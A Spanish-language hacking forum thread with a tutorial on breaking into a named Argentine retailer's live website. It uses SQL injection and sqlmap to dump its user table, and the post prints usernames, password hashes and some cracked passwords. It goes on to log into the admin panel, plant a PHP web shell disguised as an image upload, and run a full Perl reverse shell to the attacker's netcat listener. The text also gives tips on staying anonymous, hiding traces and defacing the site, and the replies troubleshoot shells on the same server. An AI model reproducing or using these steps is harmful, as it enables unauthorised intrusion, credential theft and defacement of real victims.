Intrusión a un Servidor Por SQLi y Obtener shell

  • 11 Respuestas
  • 6995 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado hdbreaker

  • *
  • Ex-Staff
  • *****
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
  • Skype: hdbreaker96
  • Twitter: @SecSignal
    • Ver Perfil
    • Security Signal
    • Email

Intrusión a un Servidor Por SQLi y Obtener shell

  • en: Junio 22, 2012, 01:39:55 am
Intrucion a un Servidor Por Sqli y Obtener shell Remota

1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)

Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.

1) Conceptos Basicos de Netcat

Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)

Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados

Ncat -l -p "N" -vv "IP/Domain" -e "Commando"

Esta linea lo q hace es

-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd

Ncat -l -p 9669 -vv 192.168.1.58 -e cmd

Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)

Explicacion Grafica


PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"

Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente

Netcat Tambien se puede usar como Cliente de la siguiente manera

Ncat -vv "IP" "Puerto"

De esta manera Ncat se conectara a la IP:PUERTO deseado

2) Primero q nada que es una vulnerabilidad SQL

Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre

Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce

EL SOURCE:

 <%
usuario=request.form("usuario")
pass=request.form("pass")

sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>

Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"

Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE

Ej

Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true

SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='

esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password

Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.

Como buscar una pagina vulnerable a SQLi

Existe Muchos Dorks de busqueda en Google un ejemplo seria

inurl:*.php?*=* site:.com.ar

Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar

Vamos a un Ejemplo Practico



www.cetrogar.com.ar/result.php?cat=6

Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection


http://www.cetrogar.com.ar/result.php?cat='

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1



Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP

Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:

http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html

Nos vamos a Sqlmap



Parametros Basicos

--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump

Siendo la web Injectable los parametros haran los siguiente

--url="Establecer URL Y MODULO Injectable" (http://www.cetrogar.com.ar/result.php?cat=6"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla

Ejemplos

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" --dbs

Esto nos devolvera Todas las bases de datos q corren en la web

available databases [2]:
  • cetrogar[/li]
  • information_schema[/li]



    Seleccionamos la Base de Datos Cetrogar y pedimos q nos devuelva sus tablas de la siguiente manera

    sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar --tables

    Nos Mostrara lo siguiente:


    | activadores                           
    | actualizacion_concurso           
    | bancos_tarjetas                     
    | beneficios_novios                   
    | casamientos                           
    | casamientos_articulos             
    | categorias                             
    | cetre_productosbackup         
    | cetro_productos                     
    | cetro_productos_cosquin       
    | cetro_productos_jesusmaria   
    | cetro_productos_mayo           
    | cetro_productos_tostado       
    | cetro_usuarios                     
    | cetroplus_categoria               
    | cetroplus_productos             
    | envio                             
    | envio_postales                   
    | gerentes                           
    | grupos_concurso               
    | grupos_vendedores           
    | localidad                         
    | log                               
    | marcas                           
    | novedades                     
    | origen                           
    | origenesexcel                 
    | pais                               
    | participantes_concursomama   
    | postales                           
    | premios                           
    | premios_aperturasuc           
    | premios_aperturasuc2         
    | premios_morteros               
    | premios_participantes         
    | premios_participantes_aperturasuc
    | premios_participantes_aperturasuc2
    | premios_participantes_morteros     
    | productos                         
    | promo_ganantodos                   
    | promociones                       
    | provincia                         
    | puntos_cetroplus                   
    | subcategorias                     
    | subproductos                     
    | sucursales                         
    | usuarios                           
    | usuarios_cetroplus                 
    | usuarios_concurso                 
    | vendedores_mensual                 
    | vendedores_trimestral             




    Aqui la magia Nos Interesa la tabla usuarios vamos a ver q tiene dentro de la siguiente manera

    sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --columns

    Nos devolvera:

    +--------------+----------------------+
    | Column       | Type                     |
    +--------------+----------------------+
    | ID                | smallint(6) unsigned |
    | nivel_acceso | smallint(4) unsigned |
    | pass             | tinytext                    |
    | usuario         | tinytext                   |
    +--------------+----------------------+

    y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior


    sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --dump

    +----+--------------+-------------------------------------------+-----------+
    | ID | nivel_acceso | pass                                               | usuario   |
    +----+--------------+-------------------------------------------+-----------+
    | 8  | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro|
    | 7  | 0| 992112e53d3eb06c6bb87701a4574052           | silvanac |
    | 6  | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78              | fernando|
    | 5  | 0| 34e09b9b490217de9c31f528a2a8a57d            | rocioc     |
    | 3  | 0| 1d96afbde5ac96a4b3d9814030f541c5             | marianoq|
    | 2  | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n)  | Admin |
    +----+--------------+-------------------------------------------+-----------+



    Bueno ya teniendo Usuario y Password (desencriptado md5) de Administrador lo q nos queda ahora es encontrar el AdminPanel
    (ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)

    http://www.cetrogar.com.ar/admin/

    y aca nos aparece nuestro querido panel de logeo



    Ingresamos los datos correspondiente mente y accedemos
    (Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)

    Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
    Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:

    http://www.cetrogar.com.ar/imgs/beneficios/1/amerian%20hotel.jpg

    (Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
    Siendo:
    http://www.cetrogar.com.ar/imgs/beneficios/1/
    donde se almacenan las fotos

    Subimos Nuetras phpshell



    y volvemos a subir la foto original (respaldo para q no cantara)
    ya que si no lo hacemos la imagen aparecera como rota



    Una ves Hecho esto accedemos al directorio donde se suben las imagenes seguida de nuestra shell (en mi caso ee12.php)
    http://www.cetrogar.com.ar/imgs/beneficios/1/ee12.php



    Nos queda subir una ReverseShell en algun codigo de programacion yo eleji Perl y aca el Source:

    #!/usr/bin/perl

    use IO::Socket;

    print q(

    ============
     HD_Breaker
    ============
    );
    $ARGC = @ARGV;
    if ($ARGC != 3){
    print "\nUsage: rsh.pl <HOST> <PORT> <OS>";
    exit(0);
    }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $OS = $ARGV[2];
    use Socket;

    print "
  • Connecting to $host ...";[/li][/list]
    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
    || die "[-] Cannot Resolve $host";
    connect(SOCKET, sockaddr_in($port, inet_aton($host)))
    || die "[-] Cannot Connect to $host";

    print "\n
  • Connected!";[/li][/list]

    open(STDIN, ">&SOCKET");
    open(STDOUT,">&SOCKET");
    open(STDERR,">&SOCKET");

    print "\n .::Powered By HD_Breaker";
    if ($OS == "-l"){
    $ejecutor = "/bin/bash";
    system($ejecutor);
    }

    if ($OS == "-w"){
    $ejecutor = "cmd";
    system($ejecutor);
    }


    subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell




    He aqui el porq este Tutorial Empeso por el uso de Netcat

    Abrimos Nuestra consona y ponemos a la escucha un puerto

    Ncat -l -p 9669 -vv 192.168.1.2



    y ejecutamos el ReverseShell desde nuestra phpshell



    y ya tenemos una shell Resta Escalar los priviligios o simplemete hacer un deface



    Demas Esta Decir que la apertura de puertos y el Forwarding de los mismos corre por cuenta del lector

    Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.

    HD_Breaker
« Última modificación: Agosto 16, 2014, 10:35:09 am por Expermicid »

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
  • Skype: thebrowfc
    • Ver Perfil
Buen aporte, lo muevo a Bugs y  Exploits que está mejor alli.
Un saludo y gracias! ;)
Twitter: @The_Pr0ph3t
[email protected]

Desconectado Dedalo

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 0
  • KUSH
  • Twitter: https://twitter.com/SeguridadBlanca
    • Ver Perfil
    • Twitter Personal
Excelente aporte bro... muy bien Explicado!


+1


Saludos,
Dedalo

Desconectado عя ҜΔŁĬ

  • *
  • Underc0der
  • Mensajes: 21
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
gracias, es un tutorial basico pero muy bien explicado.
Una pregunta, por que casi nunca se me conectan los host al netcat? tengo los puertos abiertos y he probado con el comando nc y con el Ncat tambíen, y mu rara vez se me conecta, siempre con el firewall desactivado.
puede ser que el servidor tenga bloqueados los puertos y no puedo usar cualquiera?
Saludos

Desconectado hdbreaker

  • *
  • Ex-Staff
  • *****
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
  • Skype: hdbreaker96
  • Twitter: @SecSignal
    • Ver Perfil
    • Security Signal
    • Email
Tenes q usar numeros de puertos altos en el netcat,  si no tienes una ip fija debes correr algun servicio como No-Ip o DynDns para mantener tu ip Dynamica aputando a un host, y tener los puertos q abris con netcat en tu pc, abiertos en el modem/router.

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado عя ҜΔŁĬ

  • *
  • Underc0der
  • Mensajes: 21
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
he probado con los puertos 888 y 31337 también, aquí te dejo la prueba de que está abierto:



y el netcat lo dejo asi:

Saludos y gracias

Desconectado darkchoto

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
oye bro una sugerencia, x q no subes el tuto en pdf para que se haga mas facil la lectura offline

Desconectado hdbreaker

  • *
  • Ex-Staff
  • *****
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
  • Skype: hdbreaker96
  • Twitter: @SecSignal
    • Ver Perfil
    • Security Signal
    • Email
he probado con los puertos 888 y 31337 también, aquí te dejo la prueba de que está abierto:



y el netcat lo dejo asi:

Saludos y gracias

Caundo usas el reverse shell apuntas a tu no-ip, dyndns, etc??

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5704
  • Actividad:
    23.33%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email
Es un excelente aporte hdbreaker!! Segui asi!!


Desconectado arthusu

  • *
  • Ex-Staff
  • *****
  • Mensajes: 555
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
  • Skype: arthusuxD
    • Ver Perfil
    • Arthusu BLOG
Que onda man! bueno andaba probando y mire tu shell pero no pude entrar aunque los datos para entrar a tu shell fueran user y pass no pude! pero bueno entonces lo que hice fue en la shell que estaba utilizando la c99 le di en bind ahi dice para conectarse bind o backconnect bueno intente con el backconnect pero nada! entonces intente con la bind y cuando estoy conectandome en el netcat me manda conecction refused!
delta.xxxxxxxxx.com.ar [176.31.77.xxx] 11xxx (?): connection refused
Me podrias decir que puedo hacer!
ah por cierto quise intentar subir el reversheshell que pusistes en el server pero no lo encontre no me lo da en el directorio me podrias pasar el nombre de tu shell? para probar igualmente gracias me parecio interesante el articulo y quise probar je! saludos
Pentest - Hacking & Security Services

Contact me: [email protected]

Desconectado hdbreaker

  • *
  • Ex-Staff
  • *****
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
  • Skype: hdbreaker96
  • Twitter: @SecSignal
    • Ver Perfil
    • Security Signal
    • Email
Que onda man! bueno andaba probando y mire tu shell pero no pude entrar aunque los datos para entrar a tu shell fueran user y pass no pude! pero bueno entonces lo que hice fue en la shell que estaba utilizando la c99 le di en bind ahi dice para conectarse bind o backconnect bueno intente con el backconnect pero nada! entonces intente con la bind y cuando estoy conectandome en el netcat me manda conecction refused!
delta.xxxxxxxxx.com.ar [176.31.77.xxx] 11xxx (?): connection refused
Me podrias decir que puedo hacer!
ah por cierto quise intentar subir el reversheshell que pusistes en el server pero no lo encontre no me lo da en el directorio me podrias pasar el nombre de tu shell? para probar igualmente gracias me parecio interesante el articulo y quise probar je! saludos

Con un bind coneccion muy rara ves vas a tener shell, ya que depende de q el puerto este desocupado y al mismo tiempo abierto en el router/modem cosa q muy rara vez pasa, y la reverse shell q puse esta en perl y la tienes q ejecutar con, perl host puerto -l (para linux) -w (para windows)

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado عя ҜΔŁĬ

  • *
  • Underc0der
  • Mensajes: 21
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Caundo usas el reverse shell apuntas a tu no-ip, dyndns, etc??
Apunto a mi ip directamente, ya que rara vez reinicio el router y casi siempre tengo la misma

 

Tool para sacar Todos! los archivos de configuracion de un servidor

Iniciado por ANTRAX

Respuestas: 3
Vistas: 4240
Último mensaje Agosto 30, 2012, 01:28:32 pm
por hdbreaker
Solucionario Reto Vulnerar Servidor (Simulación) by HD_Breaker & Dedalo

Iniciado por hdbreaker

Respuestas: 18
Vistas: 8295
Último mensaje Julio 10, 2012, 08:28:41 pm
por aura16
SQLI tutorial pour débutants ( newbie) ecrite par *..::Key-m0rt::..*

Iniciado por ..::key-m0rt::..

Respuestas: 0
Vistas: 3067
Último mensaje Marzo 23, 2010, 12:38:21 pm
por ..::key-m0rt::..
MySQL Injection - Técnicas para vulnerar un servidor web [PDF]

Iniciado por M5f3r0

Respuestas: 5
Vistas: 4666
Último mensaje Diciembre 11, 2013, 01:26:10 am
por dark.newb1e.zer0
Shell-Save_1.0 [Administra de manera mas eficiente tus webshells online]

Iniciado por q3rv0

Respuestas: 9
Vistas: 6916
Último mensaje Abril 14, 2013, 05:34:46 am
por s3cur1tyr00t